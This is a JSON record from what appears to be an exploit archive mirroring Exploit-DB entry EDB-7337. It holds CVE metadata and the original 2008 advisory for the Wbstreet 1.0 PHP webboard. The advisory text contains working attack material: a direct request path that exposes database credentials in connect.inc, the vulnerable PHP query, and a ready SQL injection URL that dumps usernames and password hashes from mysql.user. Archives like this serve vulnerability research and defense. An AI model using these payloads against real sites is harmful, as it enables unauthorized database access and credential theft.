{"exploit":{"id":"EDB-7337","name":"wbstreet 1.0 - SQL Injection (SQLi) / File Disclosure","description":"wbstreet 1.0 - SQL Injection (SQLi) / File Disclosure","cves":["CVE-2008-5956","CVE-2008-5955"],"author":"CWH Underground","published":"2008-12-04","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7337","path":"exploits/php/webapps/7337.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7337.txt","vulnerabilities":[{"id":"CVE-2008-5956","state":"PUBLISHED","title":null,"titleSource":null,"description":"Wbstreet (aka PHPSTREET Webboard) 1.0 stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain database credentials via a direct request to connect.inc.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5956","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5956"},"updatedAt":"2024-08-07T11:13:13.808Z","retrievedAt":"2026-11-26T13:08:12.228Z","stale":false,"error":null},{"id":"CVE-2008-5955","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in show.php in Wbstreet (aka PHPSTREET Webboard) 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5955","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5955"},"updatedAt":"2024-08-07T11:13:13.653Z","retrievedAt":"2026-11-26T13:08:18.720Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7337.png?v=2","url":"https://exploitbin.com/exploits/EDB-7337","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7337/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7337/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"===================================================================\n  Wbstreet v.1.0 (show.php id) Remote SQL Injection Vulnerability\n===================================================================\n\n  ,--^----------,--------,-----,-------^--,\n  | |||||||||   `--------'     |          O\t.. CWH Underground Hacking Team ..\n  `+---------------------------^----------|\n    `\\_,-------, _________________________|\n      / XXXXXX /`|     /\n     / XXXXXX /  `\\   /\n    / XXXXXX /\\______(\n   / XXXXXX /\n  / XXXXXX /\n (________(\n  `------'\n\n\nAUTHOR : CWH Underground\nDATE   : 4 December 2008\nSITE   : cwh.citec.us\n\n\n#####################################################\n APPLICATION : Wbstreet\n VERSION     : v.1.0\n VENDOR\t     : www.phpstreet.com\n DOWNLOAD    : www.ohlanla.com/Dowsload/177254922054.zip\n#####################################################\n\n-- Remote Database Disclosure --\n\n\n[+] http://[Target]/[path]/connect.inc\n\n\n-- Remote SQL Injection ---\n\n-----------------\n Vulnerable Code\n-----------------\n\nif(isset($_GET['id'])){\n\t$id=$_GET['id'];\n}\n\t.\n\t.\n\t.\n\t.\n<?\n$rs=mysql_db_query($db_name, \"select * from topic where id=$id\");  <<<< Bug !!!!\n$row=mysql_fetch_array($rs);\n?>\n\n----------\n Exploit\n----------\n\n[+] http://[Target]/[path]/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user\n\n\n#####################################################################\n Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos\n Special Thx : asylu3, str0ke, citec.us, milw0rm.com\n#####################################################################\n\n# milw0rm.com [2008-12-04]","sha256":"fbdca71c4f45b6055f305128b2ebd131ef75d6e9f92241eda4a831fa5a577753","bytes":1653,"fetchedAt":"2026-11-26T13:08:12.037Z","encoding":"utf-8 (display only; download retains original bytes)"}